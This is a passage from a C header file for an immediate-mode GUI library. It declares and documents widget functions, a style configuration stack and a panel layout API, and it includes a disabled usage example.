- output command buffer for drawing
- (x,y) position
- (width, height) size
- active or inactive flag describing the state of the toggle
- visual widget style structure describing the toggle
- input structure to update the toggle with
- font structure for text drawing
Output:
- returns the update state of the toggle
*/
gui_float gui_slider(struct gui_command_buffer*, gui_float x, gui_float y, gui_float,
gui_float h, gui_float min, gui_float val, gui_float max, gui_float step,
const struct gui_slider*, const struct gui_input*);
/* this function executes a slider widget
Input:
- output command buffer for drawing
- (x,y) position
- (width, height) size
- minimal slider value that will not be underflown
- slider value to be updated by the user
- maximal slider value that will not be overflown
- step interval the value will be updated with
- visual widget style structure describing the slider
- input structure to update the slider with
Output:
- returns the from the user input updated value
*/
gui_size gui_progress(struct gui_command_buffer*, gui_float x, gui_float y,
gui_float w, gui_float h, gui_size value, gui_size max,
gui_bool modifyable, const struct gui_progress*,
const struct gui_input*);
/* this function executes a progressbar widget
Input:
- output command buffer for drawing
- (x,y) position
- (width, height) size
- progressbar value to be updated by the user
- maximal progressbar value that will not be overflown
- flag if the progressbar is modifyable by the user
- visual widget style structure describing the progressbar
- input structure to update the slider with
Output:
- returns the from the user input updated value
*/
gui_size gui_edit(struct gui_command_buffer*, gui_float x, gui_float y, gui_float w,
gui_float h, gui_char*, gui_size, gui_size max, gui_bool*,
const struct gui_edit*, enum gui_input_filter filter,
const struct gui_input*, const struct gui_font*);
/* this function executes a editbox widget
Input:
- output command buffer for drawing
- (x,y) position
- (width, height) size
- char buffer to add or remove glyphes from/to
- buffer text length in bytes
- maximal buffer size
- current state of the editbox with either active or inactive
- visual widget style structure describing the editbox
- glyph input filter type to only let specified glyph through
- input structure to update the editbox with
- font structure for text drawing
Output:
- state of the editbox with either active or inactive
- returns the size of the buffer in bytes after the modification
*/
gui_size gui_edit_filtered(struct gui_command_buffer*, gui_float x, gui_float y,
gui_float w, gui_float h, gui_char*, gui_size,
gui_size max, gui_bool*, const struct gui_edit*,
gui_filter filter, const struct gui_input*,
const struct gui_font*);
/* this function executes a editbox widget
Input:
- output command buffer for drawing
- (x,y) position
- (width, height) size
- char buffer to add or remove glyphes from/to
- buffer text length in bytes
- maximal buffer size
- current state of the editbox with either active or inactive
- visual widget style structure describing the editbox
- glyph input filter callback to only let specified glyph through
- input structure to update the editbox with
- font structure for text drawing
Output:
- state of the editbox with either active or inactive
- returns the size of the buffer in bytes after the modification
*/
gui_int gui_spinner(struct gui_command_buffer*, gui_float x, gui_float y, gui_float w,
gui_float h, const struct gui_spinner*, gui_int min, gui_int value,
gui_int max, gui_int step, gui_bool *active, const struct gui_input*,
const struct gui_font*);
/* this function executes a spinner widget
Input:
- output command buffer for draw commands
- (x,y) position
- (width, height) size
- visual widget style structure describing the spinner
- minimal spinner value that will no be underflown
- spinner value that will be updated
- maximal spinner value that will no be overflown
- spinner input state with either active or inactive
- input structure to update the slider with
- font structure for text drawing
Output:
- returns the from the user input updated spinner value
*/
gui_size gui_selector(struct gui_command_buffer*, gui_float x, gui_float y,
gui_float w, gui_float h, const struct gui_selector*,
const char *items[], gui_size item_count,
gui_size item_current, const struct gui_input*,
const struct gui_font*);
/* this function executes a selector widget
Input:
- output command buffer for draw commands
- (x,y) position
- (width, height) size
- visual widget style structure describing the selector
- selection of string array to select from
- size of the selection array
- input structure to update the slider with
- font structure for text drawing
Output:
- returns the from the user input updated spinner value
*/
gui_float gui_scroll(struct gui_command_buffer*, gui_float x, gui_float y,
gui_float w, gui_float h, gui_float offset, gui_float target,
gui_float step, const struct gui_scroll*, const struct gui_input*);
/* this function executes a scrollbar widget
Input:
- output command buffer for draw commands
- (x,y) position
- (width, height) size
- scrollbar offset in source pixel
- destination pixel size
- step pixel size if the scrollbar up- or down button is pressed
- visual widget style structure describing the selector
- input structure to update the slider with
Output:
- returns the from the user input updated scrollbar offset in pixels
*/
/*
* ==============================================================
*
* Config
*
* ===============================================================
*/
/* CONFIG
----------------------------
The panel configuration consists of style, color and rectangle roundingo
information that is used for the general style and looks of panel.
In addition for temporary modification the configuration structure consists
of a stack for pushing and pop either color or property values.
USAGE
----------------------------
To use the configuration file you either initialize every value yourself besides
the internal stack which needs to be initialized to zero or use the default
configuration by calling the function gui_config_default.
To add and remove temporary configuration states the gui_config_push_xxxx
for adding and gui_config_pop_xxxx for removing either color or property values
from the stack. To reset all previously modified values the gui_config_reset_xxx
were added.
Configuration function API
gui_config_default -- initializes a default panel configuration
gui_config_property -- returns the property value from an id
gui_config_color -- returns the color value from an id
gui_config_push_property -- push an old property onto a interal stack and sets a new value
gui_config_push_color -- push an old color onto a internal stack and sets a new value
gui_config_pop_color -- resets an old color value from the internal stack
gui_config_pop_property -- resets an old property value from the internal stack
gui_config_reset_colors -- reverts back all temporary color changes from the config
gui_config_reset_properties -- reverts back all temporary property changes from the config
gui_config_reset -- reverts back all temporary all changes from the config
*/
enum gui_config_colors {
GUI_COLOR_TEXT,
GUI_COLOR_PANEL,
GUI_COLOR_HEADER,
GUI_COLOR_BORDER,
GUI_COLOR_BUTTON,
GUI_COLOR_BUTTON_BORDER,
GUI_COLOR_BUTTON_HOVER,
GUI_COLOR_BUTTON_TOGGLE,
GUI_COLOR_BUTTON_HOVER_FONT,
GUI_COLOR_CHECK,
GUI_COLOR_CHECK_BACKGROUND,
GUI_COLOR_CHECK_ACTIVE,
GUI_COLOR_OPTION,
GUI_COLOR_OPTION_BACKGROUND,
GUI_COLOR_OPTION_ACTIVE,
GUI_COLOR_SLIDER,
GUI_COLOR_SLIDER_BAR,
GUI_COLOR_SLIDER_BORDER,
GUI_COLOR_SLIDER_CURSOR,
GUI_COLOR_PROGRESS,
GUI_COLOR_PROGRESS_CURSOR,
GUI_COLOR_INPUT,
GUI_COLOR_INPUT_CURSOR,
GUI_COLOR_INPUT_BORDER,
GUI_COLOR_INPUT_TEXT,
GUI_COLOR_SPINNER,
GUI_COLOR_SPINNER_BORDER,
GUI_COLOR_SPINNER_TRIANGLE,
GUI_COLOR_SPINNER_TEXT,
GUI_COLOR_SELECTOR,
GUI_COLOR_SELECTOR_BORDER,
GUI_COLOR_SELECTOR_TRIANGLE,
GUI_COLOR_SELECTOR_TEXT,
GUI_COLOR_HISTO,
GUI_COLOR_HISTO_BARS,
GUI_COLOR_HISTO_NEGATIVE,
GUI_COLOR_HISTO_HIGHLIGHT,
GUI_COLOR_PLOT,
GUI_COLOR_PLOT_LINES,
GUI_COLOR_PLOT_HIGHLIGHT,
GUI_COLOR_SCROLLBAR,
GUI_COLOR_SCROLLBAR_CURSOR,
GUI_COLOR_SCROLLBAR_BORDER,
GUI_COLOR_TABLE_LINES,
GUI_COLOR_SHELF,
GUI_COLOR_SHELF_TEXT,
GUI_COLOR_SHELF_ACTIVE,
GUI_COLOR_SHELF_ACTIVE_TEXT,
GUI_COLOR_SCALER,
GUI_COLOR_LAYOUT_SCALER,
GUI_COLOR_COUNT
};
enum gui_config_rounding {
GUI_ROUNDING_BUTTON,
GUI_ROUNDING_CHECK,
GUI_ROUNDING_PROGRESS,
GUI_ROUNDING_INPUT,
GUI_ROUNDING_GRAPH,
GUI_ROUNDING_SCROLLBAR,
GUI_ROUNDING_MAX
};
enum gui_config_properties {
GUI_PROPERTY_ITEM_SPACING,
GUI_PROPERTY_ITEM_PADDING,
GUI_PROPERTY_PADDING,
GUI_PROPERTY_SCALER_SIZE,
GUI_PROPERTY_SCROLLBAR_WIDTH,
GUI_PROPERTY_SIZE,
GUI_PROPERTY_MAX
};
struct gui_saved_property {
enum gui_config_properties type;
/* identifier of the current modified property */
struct gui_vec2 value;
/* property value that has been saveed */
};
struct gui_saved_color {
enum gui_config_colors type;
/* identifier of the current modified color */
struct gui_color value;
/* color value that has been saveed */
};
enum gui_config_components {
GUI_DEFAULT_COLOR = 0x01,
GUI_DEFAULT_PROPERTIES = 0x02,
GUI_DEFAULT_ROUNDING = 0x04,
GUI_DEFAULT_ALL = 0xFFFF
};
struct gui_config_stack {
gui_size property;
/* current property stack pushing index */
struct gui_saved_property properties[GUI_MAX_ATTRIB_STACK];
/* saved property stack */
struct gui_saved_color colors[GUI_MAX_COLOR_STACK];
/* saved color stack */
gui_size color;
/* current color stack pushing index */
};
struct gui_config {
struct gui_font font;
/* the from the user provided font */
gui_float scaler_width;
/* width of the tiled panel scaler */
gui_float rounding[GUI_ROUNDING_MAX];
/* rectangle widget rounding */
struct gui_vec2 properties[GUI_PROPERTY_MAX];
/* configuration properties to modify the panel style */
struct gui_color colors[GUI_COLOR_COUNT];
/* configuration color to modify the panel color */
struct gui_config_stack stack;
/* modification stack */
};
void gui_config_default(struct gui_config*, gui_flags, const struct gui_font*);
/* this function load the panel configuration with default values
Input:
- configuration flags indicating which part of the configuration should be loaded with default values
- user font reference structure describing the font used inside the panel
Output:
- configuration structure holding the default panel style
*/
struct gui_vec2 gui_config_property(const struct gui_config*,
enum gui_config_properties);
/* this function accesses a configuration property over an identifier
Input:
- Configuration the get the property from
- Configuration property idenfifier describing the property to get
Output:
- Property value that has been asked for
*/
struct gui_color gui_config_color(const struct gui_config*, enum gui_config_colors);
/* this function accesses a configuration color over an identifier
Input:
- Configuration the get the color from
- Configuration color idenfifier describing the color to get
Output:
- color value that has been asked for
*/
void gui_config_push_property(struct gui_config*, enum gui_config_properties,
gui_float, gui_float);
/* this function temporarily changes a property in a stack like fashion to be reseted later
Input:
- Configuration structure to push the change to
- Property idenfifier to change
- first value of the property most of the time the x position
- second value of the property most of the time the y position
*/
void gui_config_push_color(struct gui_config*, enum gui_config_colors,
gui_byte, gui_byte, gui_byte, gui_byte);
/* this function temporarily changes a color in a stack like fashion to be reseted later
Input:
- Configuration structure to push the change to
- color idenfifier to change
- red color component
- green color component
- blue color component
- alpha color component
*/
void gui_config_pop_color(struct gui_config*);
/* this function reverts back a previously pushed temporary color change
Input:
- Configuration structure to pop the change from and to
*/
void gui_config_pop_property(struct gui_config*);
/* this function reverts back a previously pushed temporary property change
Input:
- Configuration structure to pop the change from and to
*/
void gui_config_reset_colors(struct gui_config*);
/* this function reverts back all previously pushed temporary color changes
Input:
- Configuration structure to pop the change from and to
*/
void gui_config_reset_properties(struct gui_config*);
/* this function reverts back all previously pushed temporary color changes
Input:
- Configuration structure to pop the change from and to
*/
void gui_config_reset(struct gui_config*);
/* this function reverts back all previously pushed temporary color and
* property changes
Input:
- Configuration structure to pop the change from and to
*/
/*
* ==============================================================
*
* Panel
*
* ===============================================================
*/
/* PANEL
----------------------------
The Panel function API is based on the widget API and is almost in its
entirety based on positioning of groups of widgets. Almost each widget inside the
panel API uses the widget API for drawing and manipulation/input logic
but offers a uniform style over a single configuration structure as well as
widget group base moving, spacing and structuring. The panel references
a basic configuration file, an output commmand buffer and input structure which
need to share the same or greater life time than the panel since they are relied
on by the panel.
USAGE
----------------------------
To setup the Panel API you have to initiate the panel first with position, size
and behavior flags. The flags inside the panel describe the behavior of the panel
and can be set or modified directly over the public panel struture
or at the beginning in the initialization phase. Just like the flags the position
and size of the panel is made directly modifiable at any given time given single
threaded access while changes are only visible outside the layout buildup process.
To finally use the panel a panel layout has to be created over gui_panle_begin_xxx
which sets up the panel layout build up process. The panel layout has to be kept
valid over the course of the build process until gui_panel_end is called, which
makes the layout perfectly fit for either a stack object or a single instance for
every panel. The begin sequence pont of the panel layout also gives the opportunity to
add the panel either into a panel stack for overlapping panels or a tiled border
layout for automated window independend panel positing and sizing.
To add widgets into the panel layout a number of basic widget are provided
which can be added by calling the appropriate function inside both panel
layout sequene points gui_panel_begin and gui_panel_end. All calls outside
both sequence points are invalid and can cause undefined behavior.
Since the panel has no information about the structuring of widgets a
row layout has to be set with row height and number of columns which can
be changed and set by calling the gui_panel_row function.
IMPORTANT: !IF YOUR LAYOUT IS WRONG FIRST CHECK IF YOU CALLED gui_panel_row CORRECTLY XOR AT ALL!
Panel function API
gui_panel_init -- initializes the panel with position, size and flags
gui_panel_begin -- begin sequence point in the panel layout build up process
gui_panel_begin_stacked -- extends gui_panel_begin by adding the panel into a panel stack
gui_panel_begin_tiled -- extends gui_panel_begin by adding the panel into a tiled layout
gui_panel_row -- defines the current row layout with row height and number of columns
gui_panel_widget -- base function for all widgets to allocate space on the panel
gui_panel_spacing -- create a column seperator and is basically an empty widget
gui_panel_text -- text widget for printing text with length
gui_panel_text_colored -- colored text widget for printing colored text width length
gui_panel_label -- text widget for printing zero terminated strings
gui_panel_label_colored -- text wicget for printing colored zero terminiated strings
gui_panel_check -- add a checkbox widget with either active or inactive state
gui_panel_option -- radiobutton widget with either active or inactive state
gui_panel_option_group -- radiobutton group with automates the process of having only one active
gui_panel_button_text -- button widget with text content
gui_panel_button_color -- colored button widget without content
gui_panel_button_triangle --button with triangle pointing either up-/down-/left- or right
gui_panel_button_image -- button widget width icon content
gui_panel_button_toggle -- toggle button with either active or inactive state
gui_panel_slider -- slider widget with min and max value as well as stepping range
gui_panel_progress -- either modifyable or static progressbar
gui_panel_edit -- edit textbox widget for text input
gui_panel_edit_filtered -- edit textbox widget for text input with filter input
gui_panel_spinner -- spinner widget with either keyboard or mouse modification
gui_panel_selector -- selector widget for combobox like selection of types
gui_panel_graph_begin -- immediate mode graph building begin sequence point
gui_panel_graph_push -- push a value into a graph
gui_panel_graph_end -- immediate mode graph building end sequence point
gui_panel_graph -- retained mode graph with array of values
gui_panel_graph_ex -- ratained mode graph with getter callback
gui_panel_end -- end squeunce point which finializes the panel build up
*/
#if 0
#define GUI_IMPLEMENTATION
#include "gui.h"
int main(void)
{
/* allocate memory to hold the draw commands */
gui_command_buffer buffer;
void *memory = malloc(MEMORY_SIZE)
gui_command_buffer_init_fixed(buffer, memory, MEMORY_SIZE);
/* setup configuration */
struct gui_config config;
struct gui_font font = {...};
gui_config_default(&config, GUI_DEFAULT_ALL, &font);
/* initialize panel */
struct gui_panel panel;
gui_panel_init(&panel, 50, 50, 220, 170,
GUI_PANEL_BORDER|GUI_PANEL_MOVEABLE|
GUI_PANEL_CLOSEABLE|GUI_PANEL_SCALEABLE|
GUI_PANEL_MINIMIZABLE, &config, &buffer);
struct gui_input input = {0};
while (1) {
gui_input_begin(&input);
/* record input */
gui_input_end(&input);
/* GUI */
struct gui_panel_layout layout;
gui_panel_begin(&layout, &panel, "Demo", &input);
gui_panel_row(&layout, 30, 1);
if (gui_panel_button_text(&layout, "button", GUI_BUTTON_DEFAULT)) {
/* event handling */
}
gui_panel_row(&layout, 30, 2);
if (gui_panel_option(&layout, "easy", option == 0)) option = 0;
if (gui_panel_option(&layout, "hard", option == 1)) option = 1;
gui_panel_label(&layout, "input:", GUI_TEXT_LEFT);
len = gui_panel_edit(&layout, buffer, len, 256, &active, GUI_INPUT_DEFAULT);
gui_panel_end(&layout, &panel);
/* draw */
const struct gui_command *cmd;
gui_foreach_command(cmd, buffer) {
/* execute draw call command */
}
}
}
#endif
enum gui_table_lines {
GUI_TABLE_HHEADER = 0x01,
/* Horizontal table header lines */
GUI_TABLE_VHEADER = 0x02,
/* Vertical table header lines */
GUI_TABLE_HBODY = 0x04,
/* Horizontal table body lines */
GUI_TABLE_VBODY = 0x08
/* Vertical table body lines */
};
enum gui_graph_type {
GUI_GRAPH_LINES,
/* Line graph with each data point being connected with its previous and next node */
GUI_GRAPH_COLUMN,
/* Column graph/Histogram with value represented as bars */
GUI_GRAPH_MAX
};
struct gui_graph {
gui_bool valid;
/* graph valid flag to make sure that the graph is visible */
enum gui_graph_type type;
/* graph type with either line or column graph */
gui_float x, y;
/* graph canvas space position */
gui_float w, h;
/* graph canvas space size */
gui_float min, max;
/* min and max value for correct scaling of values */
struct gui_vec2 last;
/* last line graph point to connect to. Only used by the line graph */
gui_size index;
/* current graph value index*/
gui_size count;
/* number of values inside the graph */
};
enum gui_panel_tab {
GUI_MAXIMIZED = gui_false,
/* Flag indicating that the panel tab is open */
GUI_MINIMIZED = gui_true
/* Flag indicating that the panel tab is closed */
};
enum gui_panel_flags {
GUI_PANEL_HIDDEN = 0x01,
/* Hiddes the panel and stops any panel interaction and drawing can be set
* by user input or by closing the panel */
GUI_PANEL_BORDER = 0x02,
/* Draws a border around the panel to visually seperate the panel from the
* background */
GUI_PANEL_MINIMIZABLE = 0x04,
/* Enables the panel to be minimized/collapsed and adds a minimizing icon
* in the panel header to be clicked by GUI user */
GUI_PANEL_CLOSEABLE = 0x08,
/* Enables the panel to be closed, hidden and made non interactive for the
* user by adding a closing icon in the panel header */
GUI_PANEL_MOVEABLE = 0x10,
/* The moveable flag inidicates that a panel can be move by user input by
* dragging the panel header */
GUI_PANEL_SCALEABLE = 0x20,
/* The scaleable flag indicates that a panel can be scaled by user input
* by dragging a scaler icon at the button of the panel */
GUI_PANEL_NO_HEADER = 0x40,
/* To remove the header from the panel and invalidate all panel header flags
* the NO HEADER flags was added */
GUI_PANEL_BORDER_HEADER = 0x80,
/* Draws a border inside the panel for the panel header seperating the body
* and header of the panel */
GUI_PANEL_ACTIVE = 0x100,
/* INTERNAL ONLY!: marks the panel as active, used by the panel stack */
GUI_PANEL_SCROLLBAR = 0x200,
/* INTERNAL ONLY!: adds a scrollbar to the panel which enables fixed size
* panels with unlimited amount of space to fill */
GUI_PANEL_TAB = 0x400,
/* INTERNAL ONLY!: Marks the panel as an subpanel of another panel(Groups/Tabs/Shelf)*/
GUI_PANEL_DO_NOT_RESET = 0x800
/* INTERNAL ONLY!: requires that the panel does not resets the command buffer */
};
struct gui_panel {
gui_float x, y;
/* position in the os window */
gui_float w, h;
/* size with width and height of the panel */
gui_flags flags;
/* panel flags modifing its behavior */
gui_float offset;
/* panel scrollbar offset in pixel */
gui_bool minimized;
/* flag indicating if the panel is collapsed */
const struct gui_config *config;
/* configuration reference describing the panel style */
struct gui_command_buffer *buffer;
/* output command buffer queuing all drawing calls */
struct gui_panel* next;
/* next panel pointer for the panel stack*/
struct gui_panel* prev;
/* prev panel pointer for the panel stack*/
};
#define GUI_UNDEFINED (-1.0f)
struct gui_panel_row_layout {
gui_float height;
/* height of the current row */
gui_size columns;
/* number of columns in the current row */
const gui_float *ratio;
/* row widget width ratio */
gui_float item_ratio;
/* current with of very item */
};
struct gui_panel_layout {
gui_float x, y, w, h;
/* position and size of the panel in the os window */
gui_float offset;
/* panel scrollbar offset */
gui_bool is_table;
/* flag indicating if the panel is currently creating a table */
gui_flags tbl_flags;
/* flags describing the line drawing for every row in the table */
gui_bool valid;
/* flag inidicating if the panel is visible */
gui_float at_x, at_y;
/* index position of the current widget row and column */
gui_float width, height;
/* size of the actual useable space inside the panel */
gui_float header_height;
/* height of the panel header space */
gui_size index;
/* index of the current widget in the current panel row */
struct gui_panel_row_layout row;
/* currently used panel row layout */
struct gui_rect clip;
/* panel clipping rect needed by scrolling */
const struct gui_config *config;
/* configuration data describing the visual style of the panel */
const struct gui_input *input;
/* current input state for updating the panel and all its widgets */
struct gui_command_buffer *buffer;
/* command draw call output command buffer */
};
/* Panel */
struct gui_layout;
void gui_panel_init(struct gui_panel*, gui_float x, gui_float y, gui_float w,
gui_float h, gui_flags, struct gui_command_buffer*,
const struct gui_config*);
/* this function initilizes and setups the panel
Input:
- bounds of the panel with x,y position and width and height
- panel flags for modified panel behavior
- reference to a output command buffer to push draw calls to
- configuration file containing the style, color and font for the panel
Output:
- a newly initialized panel
*/
gui_bool gui_panel_begin(struct gui_panel_layout *layout, struct gui_panel*,
const char *title, const struct gui_input*);
/* this function begins the panel build up process
Input:
- title of the panel visible in th header
- input structure holding all user generated state changes
Output:
- panel layout to fill up with widgets
*/
struct gui_stack;
gui_bool gui_panel_begin_stacked(struct gui_panel_layout*, struct gui_panel*,
struct gui_stack*, const char*,
const struct gui_input*);
/* this function begins the panel build up process and push the panel into a panel stack
Input:
- panel stack to push the panel into
- title of the panel visible in th header
- input structure holding all user generated state changes
Output:
- panel layout to fill up with widgets
*/
gui_bool gui_panel_begin_tiled(struct gui_panel_layout*, struct gui_panel*,
struct gui_layout*, gui_uint slot, gui_size index,
const char*, const struct gui_input*);
/* this function begins the panel build up process and push the panel into a tiled
* layout container
Input:
- tiled layout container to push the panel into
- slot inside the panel with either top,button,center,left or right position
- index inside the slot to position the panel into
- title of the panel visible in th header
- input structure holding all user generated state changes
Output:
- panel layout to fill up with widgets
*/
void gui_panel_row(struct gui_panel_layout*, gui_float height, gui_size cols);
/* this function set the current panel row layout
Input:
- panel row layout height in pixel
- panel row layout column count
*/
void gui_panel_row_templated(struct gui_panel_layout*, gui_float height,
gui_size cols, const gui_float *ratio);
/* this function set the current panel row layout
Input:
- panel row layout height in pixel
- panel row layout column count
*/
gui_size gui_panel_row_columns(const struct gui_panel_layout *layout,
gui_size widget_size);
/* this function calculates the possible number of widget with the same width in the
current row layout.
Input:
- size of all widgets that need to fit into the current panel row layout
Output:
- panel layout to fill up with widgets
*/
gui_bool gui_panel_widget(struct gui_rect*, struct gui_panel_layout*);
/* this function represents the base of every widget and calculates the bounds
* and allocated space for a widget inside a panel.
Output:
- allocated space for a widget to draw into
- gui_true if the widget is visible and should be updated gui_false if not
*/
void gui_panel_spacing(struct gui_panel_layout*, gui_size cols);
/* this function creates a seperator to fill space
Input:
- number of columns or widget to jump over
*/
void gui_panel_text(struct gui_panel_layout*, const char*, gui_size,
enum gui_text_align);
/* this function creates a bounded non terminated text widget with either
left, centered or right alignment
Input:
- string pointer to text that should be drawn
- number of bytes the text is long
- text alignment with either left, centered or right alignment
*/
void gui_panel_text_colored(struct gui_panel_layout*, const char*, gui_size,
enum gui_text_align, struct gui_color);
/* this function creates a bounded non terminated color text widget with either
left, centered or right alignment
Input:
- string pointer to text that should be drawn
- number of bytes the text is long
- text alignment with either left, centered or right alignment
- color the text should be drawn
*/
void gui_panel_label(struct gui_panel_layout*, const char*, enum gui_text_align);
/* this function creates a zero terminated text widget with either
left, centered or right alignment
Input:
- string pointer to text that should be drawn
- text alignment with either left, centered or right alignment
*/
void gui_panel_label_colored(struct gui_panel_layout*, const char*,
enum gui_text_align, struct gui_color);
/* this function creates a zero terminated colored text widget with either
left, centered or right alignment
Input:
- string pointer to text that should be drawn
- text alignment with either left, centered or right alignment
- color the label should be drawn
*/
gui_bool gui_panel_check(struct gui_panel_layout*, const char*, gui_bool active);
/* this function creates a checkbox widget with either active or inactive state
Input:
- checkbox label describing the content
- state of the checkbox with either active or inactive
Output:
- from user input updated state of the checkbox
*/
gui_bool gui_panel_option(struct gui_panel_layout*, const char*, gui_bool active);
/* this function creates a radiobutton widget with either active or inactive state
Input:
- radiobutton label describing the content
- state of the radiobutton with either active or inactive
Output:
- from user input updated state of the radiobutton
*/
gui_size gui_panel_option_group(struct gui_panel_layout*, const char**,
gui_size cnt, gui_size cur);
/* this function creates a radiobutton group widget with only one active radiobutton
Input:
- radiobutton label array describing the content of each radiobutton
- number of radiobuttons
- index of the current active radiobutton
Output:
- the from user input updated index of the active radiobutton
*/
gui_bool gui_panel_button_text(struct gui_panel_layout*, const char*,
enum gui_button_behavior);
/* this function creates a text button
Input:
- button label describing the button
- button behavior with either default or repeater behavior
Output:
- gui_true if the button was transistioned from unpressed to pressed with
default button behavior or pressed if repeater behavior.
*/
gui_bool gui_panel_button_color(struct gui_panel_layout*, struct gui_color,
enum gui_button_behavior);
/* this function creates a colored button without content
Input:
- color the button should be drawn with
- button behavior with either default or repeater behavior
Output:
- gui_true if the button was transistioned from unpressed to pressed with
default button behavior or pressed if repeater behavior.
*/
gui_bool gui_panel_button_triangle(struct gui_panel_layout*, enum gui_heading,
enum gui_button_behavior);
/* this function creates a button with a triangle pointing in one of four directions
Input:
- triangle direction with either up, down, left or right direction
- button behavior with either default or repeater behavior
Output:
- gui_true if the button was transistioned from unpressed to pressed with
default button behavior or pressed if repeater behavior.
*/
gui_bool gui_panel_button_image(struct gui_panel_layout*, struct gui_image img,
enum gui_button_behavior);
/* this function creates a button with an icon as content
Input:
- icon image handle to draw into the button
- button behavior with either default or repeater behavior
Output:
- gui_true if the button was transistioned from unpressed to pressed with
default button behavior or pressed if repeater behavior.
*/
gui_bool gui_panel_button_text_triangle(struct gui_panel_layout*, enum gui_heading,
const char*, enum gui_text_align, enum gui_button_behavior);
/* this function creates a button with a triangle pointing in one of four directions and text
Input:
- triangle direction with either up, down, left or right direction
- button label describing the button
- text alignment with either left, centered or right alignment
- button behavior with either default or repeater behavior
Output:
- gui_true if the button was transistioned from unpressed to pressed with
default button behavior or pressed if repeater behavior.
*/
gui_bool gui_panel_button_toggle(struct gui_panel_layout*, const char*,gui_bool value);
/* this function creates a toggle button which is either active or inactive
Input:
- label describing the toggle button
- current state of the toggle
Output:
- from user input updated toggle state
*/
gui_float gui_panel_slider(struct gui_panel_layout*, gui_float min, gui_float val,
gui_float max, gui_float step);
/* this function creates a slider for value manipulation
Input:
- minimal slider value that will not be underflown
- slider value which shall be updated
- maximal slider value that will not be overflown
- step intervall to change the slider with
Output:
- the from user input updated slider value
*/
gui_size gui_panel_progress(struct gui_panel_layout*, gui_size cur, gui_size max,
gui_bool modifyable);
/* this function creates an either user or program controlled progressbar
Input:
- current progressbar value
- maximal progressbar value that will not be overflown
- flag indicating if the progressbar should be changeable by user input
Output:
- the from user input updated progressbar value if modifyable progressbar
*/
gui_size gui_panel_edit(struct gui_panel_layout*, gui_char *buffer, gui_size len,
gui_size max, gui_bool *active, enum gui_input_filter);
/* this function creates an editbox to updated/insert user text input
Input:
- buffer to fill with user input
- current length of the buffer in bytes
- maximal number of bytes the buffer can be filled with
- state of the editbox with active as currently modified by the user
- filter type to limit the glyph the user can input into the editbox
Output:
- length of the buffer after user input update
- current state of the editbox with active(gui_true) or inactive(gui_false)
*/
gui_size gui_panel_edit_filtered(struct gui_panel_layout*, gui_char *buffer,
gui_size len, gui_size max, gui_bool *active, gui_filter);
/* this function creates an editbox to updated/insert filtered user text input
Input:
- buffer to fill with user input
- current length of the buffer in bytes
- maximal number of bytes the buffer can be filled with
- state of the editbox with active as currently modified by the user
- filter callback to limit the glyphes the user can input into the editbox
Output:
- length of the buffer after user input update
- current state of the editbox with active(gui_true) or inactive(gui_false)
*/
gui_int gui_panel_spinner(struct gui_panel_layout*, gui_int min, gui_int value,
gui_int max, gui_int step, gui_bool *active);
/* this function creates a spinner widget
Input:
- min value that will not be underflown
- current spinner value to be updated by user input
- max value that will not be overflown
- spinner value modificaton stepping intervall
- current state of the spinner with active as currently modfied by user input
Output:
- the from user input updated spinner value
- current state of the editbox with active(gui_true) or inactive(gui_false)
*/
gui_size gui_panel_selector(struct gui_panel_layout*, const char *items[],
gui_size item_count, gui_size item_current);
/* this function creates a string selector widget
Input:
- string array contaning a selection
- number of items inside the selection array
- index of the currenetly selected item inside the array
Output:
- the from user selection selected array index of the active item
*/
void gui_panel_graph_begin(struct gui_panel_layout*, struct gui_graph*,
enum gui_graph_type, gui_size count,
gui_float min, gui_float max);
/* this function begins a graph building widget
Input:
- type of the graph with either lines or bars
- minimal graph value for the lower bounds of the graph
- maximal graph value for the upper bounds of the graph
Output:
- graph stack object that can be filled with values
*/
gui_bool gui_panel_graph_push(struct gui_panel_layout*,struct gui_graph*,gui_float);
/* this function pushes a value inside the pushed graph
Input:
- value data point to fill into the graph either as point or as bar
*/
void gui_panel_graph_end(struct gui_panel_layout *layout, struct gui_graph*);
/* this function pops the graph from being used
*/
gui_int gui_panel_graph(struct gui_panel_layout*, enum gui_graph_type,
const gui_float *values, gui_size count, gui_size offset);
/* this function create a graph with given type from an array of value
Input:
- type of the graph with either line or bar graph
- graph values in continues array form
- number of graph values
- offset into the value array from which to begin drawing
*/
gui_int gui_panel_graph_ex(struct gui_panel_layout*, enum gui_graph_type,
gui_size count, gui_float(*get_value)(void*, gui_size),
void *userdata);
/* this function create a graph with given type from callback providing the
graph with values
Input:
- type of the graph with either line or bar graph
- number of values inside the graph
- callback to access the values inside your datastrucutre
- userdata to pull the graph values from
*/
void gui_panel_table_begin(struct gui_panel_layout*, gui_flags flags,
gui_size row_height, gui_size cols);
/* this function set the panel to a table state which enable you to create a
table with the standart panel row layout
Input:
- table row and column line seperator flags
- height of each table row
- number of columns inside the table
*/
void gui_panel_table_row(struct gui_panel_layout*);
/* this function add a row with line seperator into asa table marked table
*/
void gui_panel_table_end(struct gui_panel_layout*);
/* this function finished the table build up process and reverts the panel back
to its normal state.
*/
gui_bool gui_panel_tab_begin(struct gui_panel_layout*, struct gui_panel_layout *tab,
const char*, gui_bool);
/* this function adds a tab subpanel into the parent panel
Input:
- tab title to write into the header
- state of the tab with either collapsed(GUI_MINIMIZED) or open state
Output:
- tab layout to fill with widgets
- wether the tab is currently collapsed(gui_true) or open(gui_false)
*/
void gui_panel_tab_end(struct gui_panel_layout*, struct gui_panel_layout *tab);
/* this function finishes the previously started tab and allocated the needed
tab space in the parent panel
*/
void gui_panel_group_begin(struct gui_panel_layout*, struct gui_panel_layout *tab,
const char*, gui_float offset);
/* this function adds a grouped subpanel into the parent panel
IMPORTANT: You need to set the height of the group with panel_row_layout
Input:
- group title to write into the header
- group scrollbar offset
Output:
- group layout to fill with widgets
*/
gui_float gui_panel_group_end(struct gui_panel_layout*, struct gui_panel_layout* tab);
/* this function finishes the previously started group layout
Output:
- The from user input updated group scrollbar pixel offset
*/
gui_size gui_panel_shelf_begin(struct gui_panel_layout*, struct gui_panel_layout*,
const char *tabs[], gui_size size,
gui_size active, gui_float offset);
/* this function adds a shelf subpanel into the parent panel
IMPORTANT: You need to set the height of the shelf with panel_row_layout
Input:
- all possible selectible tabs of the shelf with names as a string array
- number of seletectible tabs
- current active tab array index
- scrollbar pixel offset for the shelf
Output:
- group layout to fill with widgets
- the from user input updated current shelf tab index
*/
gui_float gui_panel_shelf_end(struct gui_panel_layout*, struct gui_panel_layout*);
/* this function finishes the previously started shelf layout
Input:
- previously started group layout
Output:
- The from user input updated shelf scrollbar pixel offset
*/
